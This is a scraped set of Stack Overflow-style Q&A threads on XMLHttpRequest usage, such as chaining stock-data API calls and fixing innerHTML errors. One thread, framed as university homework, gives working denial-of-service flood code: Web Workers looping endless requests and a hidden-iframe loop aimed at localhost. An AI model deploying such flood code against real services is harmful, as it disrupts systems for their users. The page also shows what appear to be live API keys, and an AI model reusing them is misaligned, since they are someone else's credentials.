I am trying to return a peer comparison table for stocks. How it works is I have one script asking what the comparable companies are for AAPL, and another function that takes that group and grabs the quick ratio for that group, however, I can not seem to figure out how to get the second script to use the responses of the first script.
Script 1 to grab peers.
<script>
function peerGroup() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var peerGroup = JSON.parse(this.responseText);
var peer1 = document.getElementById("peer1").innerHTML = peerGroup[0];
document.getElementById("peer2").innerHTML = peerGroup[1];
document.getElementById("peer3").innerHTML = peerGroup[2];
document.getElementById("peer4").innerHTML = peerGroup[3];
}
};
xhttp.open("GET", "https://cloud.iexapis.com/stable/stock/aapl/peers?token=pk_6925213461cb489b8c04a632e18c25dd", true);
xhttp.send();
};
</script>
Script 2, use script 1 return for ratio
<script>
var peer = peerGroup.peer1
function peerAnalysis() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var peerAnalysis = JSON.parse(this.responseText);
document.getElementById("peer1-quickRatio").innerHTML = peerAnalysis[0]["quickRatio"].toFixed(2);
}
};
xhttp.open("GET", "https://fmpcloud.io/api/v3/ratios/"+peer+"?period=quarter&apikey=4a913b138c66a8ba8885339480785676", true);
xhttp.send();
};
</script>
HTML
<div id=peer1>
</div>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(event) {
peerGroup();
},true);
</script>
<div id=peer1-quickRatio>
</div>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(event) {
peerAnalysis();
},true);
</script>
You need to store peerGroup in a global variable, like:
window.peerGroup = peerGroup
Then access it like
var peer = window.peerGroup.peer1
NOTE: you are loading two scripts that perform async operations. peerGroup may not be available by the time your second script loads. You can patch it by setting a timeout on your second script. Or - the proper solution - emit an event when you get the peerGroup
Your code contains few bad practices. You can easily incur in race conditions and side effects. My suggestion is definitely to declare a state and change the page accordingly, something like react (maybe redux?) do. You can handle async events and predict what's going on. A plain js implementation like that can become a nightmare, you are even handling DOM directly, this mix can definitely be error prone. That's should be avoided when possible, especially if you expect to make your architecture more complex than that.
https://redux.js.org/advanced/async-actions/
I was able to solve the problem. While I am unsure if it is the best practice for such a thing. I have set the peerGroups to be stored in the sessionStorage and then dynamically call them back on an asynchronous load of the peerAnalysis script.
Related
I built a javascript async code
<script>
function sendVotes() {
//some variables here that collects the number of votes a user input
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
}
};
xhttp.open("POST", "async/vote", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("id="+id+"&votes=" =votes);
}
</script>
I tried out the chrome debugging tool of which I got to notice that when script is paused on run time, variables can be changed and assigned new values e.g number of votes as in the sample code above
Is there a way to detect if the values of a variable is changed or a way to prevent such totally
at the university we got sort of a "homework" to try to execute denial of service attack. I have decided to go a little bit different way then oters. I tried to execute it using JavaScript.
The questions are:
Is it even possible to to this?
If I do HttpRequest on loopback will I see the result by unaccesibility of any web sites caused by overflowing http port?
Is there better code to do this than mine?
index.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>
worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);
Thank you for any input!
So first of all if I could improve this code i would use a setInterval instead of while(1). Secondly, I found a much simpler version here:
function _DDoS(url){
document.body.innerHTML+='<iframe src="'+url+'" style="display:none;"> </iframe>';
}
for(;;){
setTimeout(_DDoS("http://localhost"),10);
}
just search javascript ddos and you will find many examples
I am working on getting a dynamic page set up on my site where clicking a "More Info" button triggers a loadBCW.js script which updates a <div>'s innerHTML using a text file saved elsewhere. I've got that working perfectly using this loadBCW.js:
document.getElementById("loadBCW").addEventListener('click',function(){
var url = "/wp-content/themes/DICE/js/descriptionBCW";
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
this.responseText;
}
};
xhttp.open("GET", url, true);
xhttp.send();
document.getElementById("demo").innerHTML = url;
}, false);
My issue is, when I click one of the "More Info" buttons in order to change the <div>'s innerHTML, it will flash the variable url in the <div>, then the correct elements overwrite it.
How can I instruct js to NOT flash the variable url onscreen before actually updating the <div>?
Maybe get rid of the code that sets the div content to be the URL in the first place? I've commented out the line you should remove:
document.getElementById("loadBCW").addEventListener('click',function(){
var url = "/wp-content/themes/DICE/js/descriptionBCW";
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
this.responseText;
}
};
xhttp.open("GET", url, true);
xhttp.send();
// document.getElementById("demo").innerHTML = url;
}, false);
You're making an asynchronous request to an external source, so the code inside the xhttp.onreadystatechange won't run until the file was successfully retrieved. There's not really anything you can do about this other than optimize your site to run faster than . So if you don't want the URL to be visible, there's no point in setting it in the first place.
However, this would be even worse if it was a sync request, as not only will it slow you performance, but since document.getElementById("demo").innerHTML = url; is after your function, it is guaranteed to end by replacing the content with the URL.
Most people won't use javascript in href for style reasons. Fact is it appears that there are severe limitations to what you can do inside href. Unfortunately the developer console cannot help out, so I'm hoping you can. This does work:
<a href="javascript:alert('high five');
var request = new XMLHttpRequest();
request.onreadystatechange = function () {
var DONE = this.DONE || 4;
if (this.readyState === DONE){
alert(this.readyState);
}
};
request.open('GET', 'http://www.mototale.com', true);
request.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
request.send(null);
">mosh mosh</a>
but this doesn't:
<a href="javascript:alert('high five');
var foo=document.getElementById('ko');
function doMove() {foo.style.left =
parseInt(foo.style.left)+1+'px';setTimeout(doMove,20);};
function init(){foo.style.left = '0px';doMove();};
init();">move</a>
<p id="ko">ok</p>
and a number of variants.
Please don't advice to use onclick, or unobtrusive, that is outside the scope of this question.
What limitations are there to javascript: in href ?
To call a function you need () after it. Change
init;">move</a>
to:
init();">move</a>
in the second version and it should work.
You never call init in the second example.
move
i have a span with the same value..
echo "<span id='msgNotif1' class='badge' style='position:relative;right:5px;bottom:10px;'>".$number."</span>";
where $number have a value..
and my js code is..
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var val = xmlhttp.responseText;
//alert(val);
document.getElementById("msgNotif1").innerHTML = val;
//document.getElementById("msgNotif2").innerHTML = val;
alert(val);
//document.getElementById("msgNotif3").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET", "some page", true);
xmlhttp.send();
the problem is the value still remains and do not change,
trying to uncomment the first alert shows an alert with the right value, but when i try to comment it the second alert never executed, giving me an idea that the document.getelementbyid().innerhtml is the one that is not working, been with this for a few hours,
any help will be appreciated.
thanks in advance
Your error message Cannot set property 'innerHTML' of null" means that:
document.getElementById("msgNotif1")
is returning null. That can happen for several possible reasons:
There is no element in your page with id="msgNotif1".
You are calling this code before your document has finished loading and thus the element with id="msgNotif1" has not yet loaded. This can commonly happen if you execute your code in the <head> section of the document rather than at the very end of <body> or in response to the DOMContentLoaded event.
Your content is dynamically loaded (not in the original page HTML) and you are calling document.getElementById("msgNotif1") before your dynamic content has been loaded.
You have some HTML errors which are preventing the proper parsing of your HTML that contains the element with id="msgNotif1".
For a general purpose description of how to run Javascript after the current page has been loaded without using a framework like jQuery, see this answer: pure JavaScript equivalent to jQuery's $.ready() how to call a function when the page/dom is ready for it
You are receiving this error in your console because it doesn't exist at the time your script is running. This can be caused if the element hasn't been loaded when your script is running, if your IDs aren't the same, or if the element doesn't exist in your html. If you are referencing the element before it loads, add a function that executes when your page loads.
You can use JQuery
$(document).ready(function(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var val = xmlhttp.responseText;
//alert(val);
document.getElementById("msgNotif1").innerHTML = val;
//document.getElementById("msgNotif2").innerHTML = val;
alert(val);
//document.getElementById("msgNotif3").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET", "some page", true);
xmlhttp.send();
});
or with pure Javascript to create the event.
window.onload = function(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var val = xmlhttp.responseText;
//alert(val);
document.getElementById("msgNotif1").innerHTML = val;
//document.getElementById("msgNotif2").innerHTML = val;
alert(val);
//document.getElementById("msgNotif3").innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET", "some page", true);
xmlhttp.send();
};
Valid points have been brought up in that doing Ajax requests with pure Javascript takes much more code than if you were to use JQuery. This is the reason why I (and many others) use JQuery for all the Ajax requests performed. JQuery has many methods for Ajax that will save a lot of time and code and in the long run will reduce your file size by a few bytes since, with JQuery, the code is reused.